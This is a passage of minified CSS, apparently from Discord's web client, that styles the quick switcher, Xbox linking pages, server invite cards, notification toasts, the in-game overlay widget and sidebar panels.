  50% { transform: translate3d(3px, 0px, 0px); }
}

@keyframes arrow-pulse-2BHQjw { 
  0%, 100% { transform: translateZ(0px); }
  50% { transform: translate3d(3px, 0px, 0px); }
}

.result-oB0z-- { position: relative; border-radius: 3px; font-weight: 500; font-size: 16px; cursor: pointer; overflow: hidden; height: 34px; }

.result-oB0z--[aria-selected="true"] { background: var(--background-modifier-selected); }

.content-1jxX5g { padding: 0px 10px; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; height: 34px; line-height: 34px; overflow: hidden; }

.contentDefault-16dKSY, .contentUnread-3gTHvA { }

.contentDefault-16dKSY { color: var(--interactive-normal); }

.contentUnread-3gTHvA { color: var(--header-primary); }

.iconContainer-3UxHn2 { width: 20px; margin-right: 5px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.gameIcon-2hcrAo, .iconContainer-3UxHn2 { flex-shrink: 0; -webkit-box-flex: 0; flex-grow: 0; }

.gameIconSize-1Kq-T4 { width: 20px; height: 20px; }

.icon-30q1Or { display: block; color: var(--interactive-normal); }

.name-2NBmhj { -webkit-box-flex: 1; flex: 1 1 auto; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.misc-1CT3G7, .name-2NBmhj { display: flex; -webkit-box-align: center; align-items: center; }

.misc-1CT3G7 { -webkit-box-flex: 0; flex: 0 1 auto; max-width: 140px; margin-left: 4px; color: var(--interactive-normal); }

.match-38WbBN { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.badge-36LyGI, .match-38WbBN { margin-right: 4px; }

.note-S--UP5 { font-size: 10px; line-height: 14px; font-weight: 600; text-transform: uppercase; margin-top: 4px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; color: var(--text-muted); }

.username-2hHyRL { font-weight: 300; opacity: 0.6; }

.header-13MUnb { font-size: 12px; text-transform: uppercase; letter-spacing: 0.025em; font-weight: 600; line-height: 30px; margin-top: 4px; color: var(--interactive-normal); }

.dmIconContainer-2yFeX3, .guildIconContainer-1M95yt { }

.dmIconContainer-2yFeX3 .guildIcon-Ripiyt, .guildIconContainer-1M95yt .guildIcon-Ripiyt { background-size: 100% 100%; flex-shrink: 0; -webkit-box-flex: 0; flex-grow: 0; display: block; margin: 0px; line-height: 20px; text-align: center; overflow: hidden; border-radius: 3px; }

.avatarSizeOverride-2KySyz { width: 20px !important; height: 20px !important; }

.score-HzQK9w { position: absolute; top: 2px; right: 2px; bottom: 2px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; padding-left: 8px; padding-right: 8px; border-radius: 2px; background-color: rgba(0, 0, 0, 0.2); font-family: Consolas, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", Monaco, "Courier New", Courier, monospace; }

.container-3qKHyN { width: 570px; height: 365px; }

.quickswitcher-3JagVE { position: relative; width: 570px; border-radius: 8px; padding: 20px 20px 0px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: stretch; align-items: stretch; box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 10px, rgba(28, 36, 43, 0.6) 0px 0px 0px 1px; background-color: var(--background-secondary); color: var(--text-normal); }

.quickswitcher-3JagVE, .quickswitcher-3JagVE * { box-sizing: border-box; }

.input-2VB9rf { position: relative; z-index: 1; -webkit-box-flex: 0; flex: 0 0 auto; display: block; padding: 0px 12px; font-size: 22px; border-radius: 5px; border: none; height: 70px; line-height: 70px; background-color: var(--deprecated-quickswitcher-input-background); color: var(--text-normal); box-shadow: var(--elevation-high); }

.input-2VB9rf::-webkit-input-placeholder { color: var(--deprecated-quickswitcher-input-placeholder); }

.input-2VB9rf::placeholder { color: var(--deprecated-quickswitcher-input-placeholder); }

.autocompleteQuerySymbol-1kyGZ5 { background-color: var(--background-tertiary); padding: 2px; border-radius: 4px; font-family: Consolas, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", Monaco, "Courier New", Courier, monospace; }

.scroller-zPkAnE { z-index: 0; margin-right: -17px; margin-top: -5px; max-height: 236px; background-color: var(--background-secondary); }

.scroller-zPkAnE::-webkit-scrollbar-track { background-color: var(--background-secondary-alt) !important; }

.protip-1b9XPC { padding: 10px 0px; border-top: 1px solid var(--background-modifier-accent); }

.emptyState-2gL-9T { padding-top: 150px; padding-bottom: 20px; background: 50% 20px no-repeat; text-align: center; font-weight: 500; }

.emptyStateNote-ZYTetQ { font-size: 16px; line-height: 20px; color: var(--text-muted); }

.emptyStateCTA-veJ2Cu { font-size: 14px; line-height: 16px; opacity: 0.6; }

.emptyStateCTA-veJ2Cu:hover { opacity: 1; }

.miscContainer-2ptJ_C { font-weight: 500; opacity: 0.6; font-size: 14px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.theme-dark .emptyState-2gL-9T { background-image: url("https://discord.com/assets/e61baf173edfbd88037ecdd2c793834e.svg"); }

.theme-light .emptyState-2gL-9T { background-image: url("https://discord.com/assets/42ef570609616c81cc9f7159e08b1353.svg"); }

.modal-DRZfgq { width: 520px; border-radius: 5px; position: relative; background-color: rgb(255, 255, 255); overflow: hidden; box-shadow: rgba(185, 187, 190, 0.3) 0px 0px 0px 1px, rgba(0, 0, 0, 0.1) 0px 2px 10px 0px; }

.container-1nPf-D { margin: 32px 40px; }

.title-3Fa4Po { font-weight: 700; color: var(--brand-experiment-500); text-transform: uppercase; }

.description-vvVtO_ { margin-left: 40px; margin-right: 40px; }

.link-1q2Osy { }

.ack-2yIUvY { color: rgb(79, 84, 92); }

.buttonContainer-3S_miP { background-color: rgb(249, 249, 249); padding-right: 30px; }

.button-1TiC1S { }

.gamepadButtonText-3oiVZ3 { font-size: 20px; font-weight: 500; color: rgb(255, 255, 255); margin-right: 30px; }

.gamepadButtonContainer-1LwN57 { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; }

.leftPanel-9cRl50 { box-sizing: border-box; padding-left: 100px; width: 40%; max-width: 650px; padding-top: 36px; margin: auto 0px; }

.sectionTitle-337Owh { font-size: 48px; font-weight: 700; color: rgb(255, 255, 255); }

.sectionSubtitle-3oof5F { font-size: 32px; margin-top: 32px; font-weight: 300; line-height: 1.25; color: rgb(255, 255, 255); }

@media (max-height: 720px) {
  .sectionTitle-337Owh { font-size: 32px; }
  .sectionSubtitle-3oof5F { font-size: 24px; margin-top: 20px; }
}

.pageWrapper-3F6owx { width: 100vw; height: 100vh; background-image: linear-gradient(114deg,hsl(228,calc(var(--saturation-factor, 1)*86.7%),70.6%),#9295e2); overflow: auto; }

.container-1r0Ael { height: 100%; width: 100%; }

.logo-2apZa6 { height: 80px; margin-left: 94px; margin-top: 40px; position: absolute; }

.linkButton-3aQMjF { height: auto; font-size: 20px; margin-top: 20px; padding: 16px 40px; }

.rightPanel-3v0DYb { position: relative; width: 60%; overflow: hidden; padding-top: 15%; }

.image-22sO6Y { width: 70%; height: auto; position: fixed; right: -11%; z-index: 0; pointer-events: none; }

.xboxButtonContainer-1fnVjR { display: flex; position: absolute; bottom: 40px; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; }

.gamepadButton-_uzDVK { margin-right: 8px; width: 30px; height: 30px; }

.errorMessageContainer-3tPaYl { border-radius: 5px; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; display: flex; background-color: rgb(246, 246, 247); border: 1px solid rgb(220, 221, 222); -webkit-box-align: center; align-items: center; padding: 20px; }

.errorMessage-3H97Nb { color: rgb(79, 84, 92); }

.errorMessageIcon-1ToWng { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); width: 24px; height: 24px; margin-right: 8px; }

@media (max-height: 720px) {
  .logo-2apZa6 { height: 46px; }
  .linkButton-3aQMjF { font-size: 16px; padding: 2px 24px; }
  .gamepadButton-_uzDVK { width: 30px; height: 30px; }
  .errorMessageIcon-1ToWng { width: 24px; height: 24px; }
}

.leftPanel-2l1T5i { box-sizing: border-box; padding-left: 100px; width: 40%; margin: auto 0px; }

.sectionTitle-2nPEF4 { font-size: 32px; margin-bottom: 20px; margin-top: 48px; color: rgb(255, 255, 255); }

.sectionSubheader-rwzZ1d { margin-bottom: 4px; }

.sectionSubheader-rwzZ1d, .sectionSubtitle-c6uxj- { font-size: 24px; line-height: 1.25; color: rgb(255, 255, 255); }

.sectionSubtitle-c6uxj- { margin-top: 0px; margin-bottom: 8px; font-weight: 300; }

.pinNumber-2Y-fxV { font-size: 80px; line-height: 1.25; letter-spacing: 6px; margin-top: 60px; color: rgb(255, 255, 255); font-family: Consolas, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", Monaco, "Courier New", Courier, monospace; font-weight: 300; }

.pinExpiresText-2kOhgQ { font-size: 20px; margin-top: 13px; color: rgb(255, 255, 255); }

@media (max-height: 720px) {
  .pinNumber-2Y-fxV { font-size: 60px; margin-top: 60px; }
  .pinExpiresText-2kOhgQ { font-size: 16px; margin-top: 12px; }
  .sectionTitle-2nPEF4 { font-size: 24px; margin-bottom: 16px; margin-top: 24px; }
  .sectionSubheader-rwzZ1d { font-size: 20px; line-height: 1.25; margin-bottom: 4px; }
  .sectionSubtitle-c6uxj- { font-size: 18px; margin-bottom: 4px; }
  .linkButton-c8TCnB { font-size: 16px; padding: 2px 24px; }
}

.elevated-26QCAo { box-shadow: rgba(4, 4, 5, 0.2) 0px 2px 10px 0px, rgb(32, 34, 37) 0px 0px 0px 1px; }

.button-2nxwjH { margin: 12px auto 20px; width: 85%; }

.buttonTitle-3i-bDM { text-align: center; margin: 20px 20px 0px; }

.text-YvEHPh { text-align: left; }

.buttonLogin-2oCPEH { font-weight: 600; font-size: 12px; }

.card-naSvY_ { margin: 16px; background: rgb(32, 34, 37); border-color: rgb(32, 34, 37); }

.cardContents-3WbWvB { max-width: 400px; margin: 0px auto; }

.cardAccentLeft-21rdcy { left: 0px; }

.cardAccentLeft-21rdcy, .cardAccentRight-2fDjxG { position: absolute; bottom: 0px; opacity: 0.3; }

.cardAccentRight-2fDjxG { right: 0px; }

.clock-bm1xfG { margin-right: 8px; }

.container-zpj2Le { margin-top: 16px; }

.container-zpj2Le, .expirationContainer-2kThAV { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.expirationContainer-2kThAV { -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; border-radius: 100px; padding: 8px 16px; background-color: var(--background-tertiary); }

.container-yJa96w { -webkit-box-flex: 1; flex: 1 1 0%; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; width: 100%; box-sizing: border-box; }

.guildBadge-3bwq7h { position: relative; margin-right: 6px; flex-shrink: 0; width: 25px; height: 25px; }

.appIcon-2bU5_G { display: inline-block; }

.appIconSize-2YPS0B { width: 100px; height: 100px; }

.appIcon-2bU5_G, .avatar-ykROaX, .guildIcon-3uxhiT { margin-top: 24px; margin-bottom: 24px; border-radius: 16px; }

.title-2uhTpH { margin-top: 4px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; color: var(--header-primary); font-weight: 600; }

@media (min-height: 640px) {
  .title-2uhTpH { margin-top: 8px; }
}

.activityCount-2qUZs- { margin-top: 4px; }

@media (min-height: 640px) {
  .activityCount-2qUZs- { margin-top: 8px; }
}

.directInviteSubTitle-1Hmpdn { margin-top: 8px; }

.guildContainer-3uF6gS { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.appIn-vQ3-DL { margin: 4px 0px; }

.appGuildName-3r2LMQ { color: var(--header-primary); }

.inviteJoinContainer-W5kCZD { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; }

.inviterIconWrapper-YIBbXT { padding-right: 8px; }

.inviteJoinText-Q0o1Rm { color: var(--header-secondary); }

.guildInfoCard-3bNI9v { width: 100%; text-align: left; }

.presentedBy-3cj9r8 { font-family: var(--font-display); font-weight: 700; font-size: 12px; line-height: 16px; text-transform: uppercase; color: var(--header-secondary); }

.guildContainer-1GyHI6 { padding-top: 12px; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; }

.guildDetailsContanier-3OVhiG { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; padding-left: 12px; }

.guildName-YcPZNC { font-family: var(--font-display); font-weight: 600; display: flex; }

.guildBadge-3BRXir { margin-left: 4px; }

.guildInfoMemberCount-3r7imp { margin: 0px; padding: 2px 0px 0px; }

.guildInfoMemberCountText-2p7vJb { font-size: 12px; }

.guildDescriptionContainer-1gyPmL { padding-top: 12px; }

.guildEventCard-3PHPOQ { width: 100%; text-align: left; }

.channelInfo-t4MmHn { padding-top: 4px; }

.acceptButton-DcLRzP { margin-top: 12px; width: 100%; }

.container-I6Klu5 { -webkit-box-flex: 1; flex: 1 1 0%; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; width: 100%; box-sizing: border-box; }

.acceptButton-3IVn3J { margin-top: 28px; width: 100%; }

.splashBackground-1xe4jJ { --background-mobile-primary:#202225 center/cover no-repeat url(\/assets\/4680228d0a03d95dd5f928d62cdda206\.png); width: 100%; height: 100%; }

.centerFlex-2UU8gh, .splashBackground-1xe4jJ { -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; display: flex; }

.centerAuthBoxContent-2AJUs_ { margin-top: -50px; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.inviteCard-bGLA09 { border-radius: 8px; background: var(--background-primary); width: calc(100vw - 72px); max-width: 480px; box-shadow: rgba(0, 0, 0, 0.2) 0px 8px 16px; padding: 20px; margin: 8px; }

@media (max-height: 640px) {
  .inviteCard-bGLA09 { width: calc(100vw - 64px); padding: 16px; margin: 0px; }
}

.inviteChildContainer-3iYLj0 { overflow: hidden; }

.inviteCardInner-2QLrMQ { min-height: 100px; }

.guildInfoInner-13cyQX, .inviteCardInner-2QLrMQ { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; box-sizing: border-box; }

.guildInfoInner-13cyQX { overflow: hidden; }

.inviteCardInnerError-2yrg2f { -webkit-box-flex: 1; flex: 1 1 0%; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; box-sizing: content-box; margin: 0px -4px; padding-bottom: 0px; padding-top: 24px; min-height: 200px; }

@media (max-height: 640px) {
  .inviteCardInnerError-2yrg2f { padding: 0px; margin: 0px -12px; }
}

.inviteCardInnerLoading-X5GXa7 { -webkit-box-flex: 1; flex: 1 1 0%; height: 100%; min-height: 200px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.expirationNotice-2aFd-k { margin-top: 32px; }

.image-3FFUHC { height: 100px; }

.image-3FFUHC, .subtitle-3ukYYk, .title-2lTXuS { margin-bottom: 8px; }

.spacedButton-1PrVRg { margin-top: 24px; }

.image-1Y4rBl { height: 100px; }

.image-1Y4rBl, .subtitle-38CTOi, .title-1J36e_ { margin-bottom: 8px; }

.spacedButton-2nC4W5 { margin-top: 24px; }

.authBox-OtSo8z { width: 960px; }

.createButton-2XJ7jN { margin-top: 12px; }

.header-2tghzW { text-align: center; margin-bottom: 32px; }

.formContainer-2ZWoPq { -webkit-box-flex: 1; flex: 1 1 auto; text-align: start; }

.image-vn9QOh { height: 100px; }

.wrapper-1V4Ofx { background: url("https://discord.com/assets/8eba753f8b6d02be1013c5e659b0fc2f.png") 108% 103% repeat rgb(32, 34, 37); width: 100vw; height: 100vh; overflow: auto; }

.key-3j3-mG { display: inline-block; background-color: var(--brand-experiment-500); color: rgb(255, 255, 255); border-bottom: 2px solid var(--brand-experiment-600); border-radius: 3px; padding: 3px 9px; margin-left: 8px; margin-right: 8px; }

.container-fEIfjO { position: relative; color: rgb(255, 255, 255); border-radius: 5px; width: 300px; padding: 12px; box-sizing: border-box; font-size: 14px; line-height: 1.3; }

.container-fEIfjO + .container-fEIfjO { margin-top: 8px; }

.clickBlocker-fnG15u { position: absolute; inset: 0px; z-index: 100; cursor: auto; }

.content-15zTcI { }

.content-15zTcI, .details-2gEcEs { display: flex; }

.details-2gEcEs { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; overflow: hidden; -webkit-box-flex: 1; flex: 1 1 auto; }

.hintText-2g1c9G { font-weight: 500; text-align: center; }

.clickable-2NoTM3 { cursor: pointer; }

.dismissButton-AdNfLV { position: absolute; width: 24px; height: 24px; top: 5px; right: 5px; line-height: 0; visibility: hidden; cursor: pointer; }

.dismissButton-AdNfLV .dismissIcon-37THWD { opacity: 0.5; }

.dismissButton-AdNfLV:hover .dismissIcon-37THWD { opacity: 1; }

.container-fEIfjO:hover .dismissButton-AdNfLV, .dismissButton-AdNfLV:hover { visibility: visible; }

.buttonContainer-1OF5r4 { display: flex; margin-left: -5px; margin-right: -5px; }

.button-1_corF { margin-left: 5px; margin-right: 5px; }

.avatar-2DTGCj { margin-right: 10px; -webkit-box-flex: 0; flex: 0 0 auto; }

.title-IU0YL0 { font-size: 16px; overflow: hidden; -webkit-line-clamp: 2; }

.body-3iVSWA, .title-IU0YL0 { text-overflow: ellipsis; display: -webkit-box; -webkit-box-orient: vertical; }

.body-3iVSWA { overflow-wrap: break-word; }

.divider-2SJIXw { width: 100%; height: 1px; margin-top: 12px; margin-bottom: 12px; position: relative; }

.footer-29jAtw { color: rgb(185, 187, 190); }

.keybindMessage-27rgH4 { font-weight: 500; }

.keybindMessage-27rgH4 .keybind-3thb0I { font-size: 13px; line-height: 14px; font-weight: 500; margin-left: 6px; margin-right: 6px; }

.hintSubtleText-mZJcbW { text-align: center; font-size: 12px; }

.themePrimary-18HFsc.container-fEIfjO { background-color: rgba(54, 57, 63, 0.95); }

.themePrimary-18HFsc.container-fEIfjO.clickable-2NoTM3:hover { background-color: rgb(54, 57, 63); }

.themePrimary-18HFsc.container-fEIfjO.clickable-2NoTM3:hover .hintText-2g1c9G { color: rgb(255, 255, 255); }

.themePrimary-18HFsc .body-3iVSWA, .themePrimary-18HFsc .hintSubtleText-mZJcbW, .themePrimary-18HFsc .hintText-2g1c9G, .themePrimary-18HFsc .keybindMessage-27rgH4 { color: rgb(185, 187, 190); }

.themePrimary-18HFsc .divider-2SJIXw { background-color: rgb(79, 84, 92); }

.themePrimary-18HFsc .dismissButton-AdNfLV { background-color: rgb(54, 57, 63); box-shadow: rgb(54, 57, 63) 0px 0px 7px 3px; }

.themeBrand-2qTyWV.container-fEIfjO { background-color: var(--brand-experiment-95a); }

.themeBrand-2qTyWV.container-fEIfjO.clickable-2NoTM3:hover { background-color: var(--brand-experiment-500); }

.themeBrand-2qTyWV.container-fEIfjO.clickable-2NoTM3:hover .hintText-2g1c9G { color: rgb(255, 255, 255); }

.themeBrand-2qTyWV .body-3iVSWA, .themeBrand-2qTyWV .hintText-2g1c9G, .themeBrand-2qTyWV .keybindMessage-27rgH4 { color: var(--brand-experiment-200); }

.themeBrand-2qTyWV .footer-29jAtw { color: rgb(255, 255, 255); display: flex; -webkit-box-align: center; align-items: center; }

.themeBrand-2qTyWV .divider-2SJIXw { background-color: rgba(255, 255, 255, 0.15); }

.themeBrand-2qTyWV .dismissButton-AdNfLV { background-color: var(--brand-experiment-500); box-shadow: 0 0 7px 3px var(--brand-experiment-500); }

.themeBrand-2qTyWV .keybind-3thb0I { background-color: rgb(255, 255, 255); border-bottom-color: var(--brand-experiment-300); }

.themeBrand-2qTyWV .button-1_corF .innerText-2pcwrI, .themeBrand-2qTyWV .keybind-3thb0I { color: var(--brand-experiment-500); }

.themeDanger-2d-qs2.container-fEIfjO { background-color: hsla(359,calc(var(--saturation-factor, 1)*82.6%),59.4%,0.95); }

.themeDanger-2d-qs2.container-fEIfjO.clickable-2NoTM3:hover { background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.themeDanger-2d-qs2.container-fEIfjO.clickable-2NoTM3:hover .hintText-2g1c9G { color: rgb(255, 255, 255); }

.themeDanger-2d-qs2 .body-3iVSWA, .themeDanger-2d-qs2 .hintText-2g1c9G, .themeDanger-2d-qs2 .keybindMessage-27rgH4 { color: hsl(358,calc(var(--saturation-factor, 1)*81%),91.8%); }

.themeDanger-2d-qs2 .footer-29jAtw { color: rgb(255, 255, 255); display: flex; -webkit-box-align: center; align-items: center; }

.themeDanger-2d-qs2 .divider-2SJIXw { background-color: hsl(359,calc(var(--saturation-factor, 1)*83%),67.6%); }

.themeDanger-2d-qs2 .dismissButton-AdNfLV { background-color: hsla(359,calc(var(--saturation-factor, 1)*82.6%),59.4%,0.8); box-shadow: 0 0 7px 3px hsla(359,calc(var(--saturation-factor, 1)*82.6%),59.4%,0.8); }

.themeDanger-2d-qs2 .dismissButton-AdNfLV .dismissIcon-37THWD { opacity: 0.8; color: rgb(255, 255, 255); }

.themeDanger-2d-qs2 .dismissButton-AdNfLV:hover .dismissIcon-37THWD { opacity: 1; }

.themeDanger-2d-qs2 .keybind-3thb0I { background-color: rgb(255, 255, 255); border-bottom-color: hsl(358,calc(var(--saturation-factor, 1)*83.1%),83.7%); }

.themeDanger-2d-qs2 .button-1_corF .innerText-2pcwrI, .themeDanger-2d-qs2 .keybind-3thb0I { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.content-3NKj2i { display: flex; }

.staticSize-60Tgeg { flex-shrink: 0; }

.widget-2M7wFU { color: rgb(255, 255, 255); position: relative; z-index: 1; box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 10px 0px; max-height: 100vh; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; border-radius: 5px; }

.widget-2M7wFU.inGame-2jyo39, .widget-2M7wFU.inGameActive-2sV6GI, .widget-2M7wFU.inGameText-O5ZnCQ { box-shadow: none; }

.widget-2M7wFU.default-3DQdjh { background-color: rgb(47, 49, 54); }

.widget-2M7wFU.unpinned-yEO9eb { background-color: rgb(54, 57, 63); }

.bar-223pc1 { font-size: 16px; line-height: 1.25; padding: 12px; color: rgb(255, 255, 255); display: flex; -webkit-box-pack: justify; justify-content: space-between; height: 20px; flex-shrink: 0; background-color: rgba(54, 57, 63, 0.85); }

.bar-223pc1, .bar-223pc1 .content-3NKj2i { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.bar-223pc1 .content-3NKj2i { -webkit-box-align: center; align-items: center; font-weight: 600; }

.bar-223pc1:first-child { border-radius: 5px 5px 0px 0px; box-shadow: rgba(0, 0, 0, 0.1) 0px -1px 0px 0px inset; }

.background-opacity-low .bar-223pc1:first-child { box-shadow: rgba(255, 255, 255, 0.1) 0px -1px 0px 0px inset; }

.bar-223pc1:last-child { border-radius: 0px 0px 5px 5px; box-shadow: rgba(0, 0, 0, 0.1) 0px 1px 0px 0px inset; }

.bar-223pc1:last-child.inGame-2jyo39, .bar-223pc1:last-child.inGameActive-2sV6GI, .bar-223pc1:last-child.inGameText-O5ZnCQ { box-shadow: none; }

.bar-223pc1.default-3DQdjh { background-color: rgb(40, 43, 48); }

.bar-223pc1.unpinned-yEO9eb { background-color: rgb(54, 57, 63); }

.body-Mv1Pg8 { font-size: 16px; line-height: 1.25; padding: 4px 0px 4px 4px; color: rgb(255, 255, 255); }

.body-Mv1Pg8:first-child { border-radius: 5px 5px 0px 0px; }

.body-Mv1Pg8:last-child { border-radius: 0px 0px 5px 5px; }

.body-Mv1Pg8.default-3DQdjh { background-color: rgb(47, 49, 54); }

.body-Mv1Pg8.unpinned-yEO9eb { background-color: rgb(54, 57, 63); }

.body-Mv1Pg8.pinned-3n-jtZ { background-color: rgba(54, 57, 63, 0.75); }

.body-Mv1Pg8.inGame-2jyo39 { background-color: rgba(255, 255, 255, 0); }

.icon-15v2QJ { color: rgb(255, 255, 255); opacity: 0.6; margin-left: 8px; cursor: pointer; }

.icon-15v2QJ.toggledIconOn-1A0KDh, .icon-15v2QJ:hover { opacity: 1; }

.tutorialTip-3dJd0e { text-align: center; }

.container-3DGuwk { position: fixed; top: 0px; left: 0px; padding: 10px; }

.stackTrace-1C2h4v { position: absolute; left: 10px; top: 140px; }

.stackTraceCode-h5MUsb { font-family: Consolas, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", Monaco, "Courier New", Courier, monospace; }

.code-1Y2ppX { padding: 15px; user-select: text; }

.errorMessage-1N2oXW { font-weight: 600; margin-left: 30px; font-size: 18px; }

.notificationButton-2FRzIZ { border: 1px solid rgb(255, 255, 255); }

.notificationIcon-iCU6Y0 { fill: rgb(255, 255, 255); }

.footer-33N2Qf { display: flex; place-content: center; -webkit-box-pack: center; }

.ctaButton-3WP2JB { -webkit-box-flex: 1; flex-grow: 1; }

.animationContainer-1cdP1K { position: absolute; padding: 10px; }

.container-O6k7qM { position: absolute; z-index: 100; }

.topLeft-2Lcaww { top: 0px; left: 0px; }

.topRight-3gPcod { top: 0px; right: 0px; }

.bottomLeft-t5CsTb { bottom: 0px; left: 0px; }

.bottomRight-1T9V4C { bottom: 0px; right: 0px; }

.wrapper-3GhqwF { position: absolute; }

.wrapper-3GhqwF, .wrapper-3GhqwF > * { box-sizing: border-box; }

.wrapper-3GhqwF > * { position: relative; width: 100%; height: 100%; }

.operation-3mRRRz > * { pointer-events: none; }

.handle-uxnyYH { position: absolute; inset: 0px; z-index: 1; }

.resizeNorth-1rGeFd { bottom: auto; }

.resizeNorth-1rGeFd, .resizeSouth-OBIjD0 { height: 8px; }

.resizeSouth-OBIjD0 { top: auto; }

.resizeNSCursor-1lS9F0 { cursor: ns-resize; }

.resizeWest-1E67qS { right: auto; }

.resizeEast-2-Ljsv, .resizeWest-1E67qS { width: 8px; cursor: ew-resize; }

.resizeEast-2-Ljsv { left: auto; }

.resizeEWCursor-ARVQXd { cursor: ew-resize; }

.resizeNorthWest-3Q21ZU { right: auto; cursor: nwse-resize; }

.resizeNorthEast-2gXday, .resizeNorthWest-3Q21ZU { width: 16px; height: 16px; bottom: auto; }

.resizeNorthEast-2gXday { left: auto; cursor: nesw-resize; }

.resizeSouthWest-mlbRRD { right: auto; cursor: nesw-resize; }

.resizeSouthEast-385fJH, .resizeSouthWest-mlbRRD { width: 16px; height: 16px; top: auto; }

.resizeSouthEast-385fJH { left: auto; }

.resizeNWSECursor-2mXwZU, .resizeSouthEast-385fJH { cursor: nwse-resize; }

.resizeNESWCursor-1EQZf_ { cursor: nesw-resize; }

.header-GGVVMy { padding: 14px 20px 0px; z-index: 1; box-shadow: rgba(24, 25, 28, 0.3) 0px 1px 0px 0px, rgba(24, 25, 28, 0.3) 0px 1px 2px 0px; }

.headerTitle-7BNint { font-size: 14px; }

.headerClose-2ZfpDO { right: -7px; }

.tabBarItem-3HJRqN { font-size: 14px; line-height: 16px; letter-spacing: -0.2px; padding: 13px 0px; }

.tabBarItem-3HJRqN + .tabBarItem-3HJRqN { margin-left: 12px; }

.content-2PHP2E { padding-top: 20px; }

.sidebar-sfP6x6 { width: 240px; flex-direction: column; -webkit-box-align: stretch; align-items: stretch; overflow: hidden; background: var(--background-secondary); }

.children-kVL7da, .sidebar-sfP6x6 { position: relative; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; min-height: 0px; }

.children-kVL7da { -webkit-box-flex: 1; flex: 1 1 auto; flex-direction: column; }

.header-3UON5h { position: relative; flex-shrink: 0; height: 48px; box-sizing: border-box; z-index: 2; -webkit-box-align: center; align-items: center; border-radius: 0px !important; background-color: var(--background-secondary) !important; }

.sidebar-sfP6x6 .header-3UON5h { box-shadow: var(--elevation-low); }

.draggableStartArea-37VeBj { cursor: move; }

.headerTitle-2YD2DN { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; display: block; flex-shrink: 1; }

.guildHeader-1aEy0W { cursor: move; }

.guildHeaderInner-TcEnyk { padding: 12px; }

.panels-Etdz3E { -webkit-box-flex: 0; flex: 0 0 auto; background-color: var(--background-secondary-alt); }

.privateChannels-1ysLLR { box-sizing: border-box; overflow: hidden; user-select: none; -webkit-box-flex: 1; flex: 1 1 0%; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.privateChannels-1ysLLR, .searchBar-12D2Sr { position: relative; display: flex; }

.searchBar-12D2Sr { z-index: 2; -webkit-box-flex: 0; flex: 0 0 auto; padding: 0px 10px; height: 48px; -webkit-box-align: center; align-items: center; box-shadow: var(--elevation-low); }

.searchBar-12D2Sr .searchBarComponent-3Wvrbl { width: 100%; height: 28px; overflow: hidden; border-radius: 4px; background-color: var(--background-tertiary); box-shadow: none; color: var(--text-muted); text-align: left; text-overflow: ellipsis; font-size: 14px; font-weight: 500; line-height: 24px; white-space: nowrap; }

.panels-Iu7NZz { -webkit-box-flex: 0; flex: 0 0 auto; background-color: var(--background-secondary-alt); }

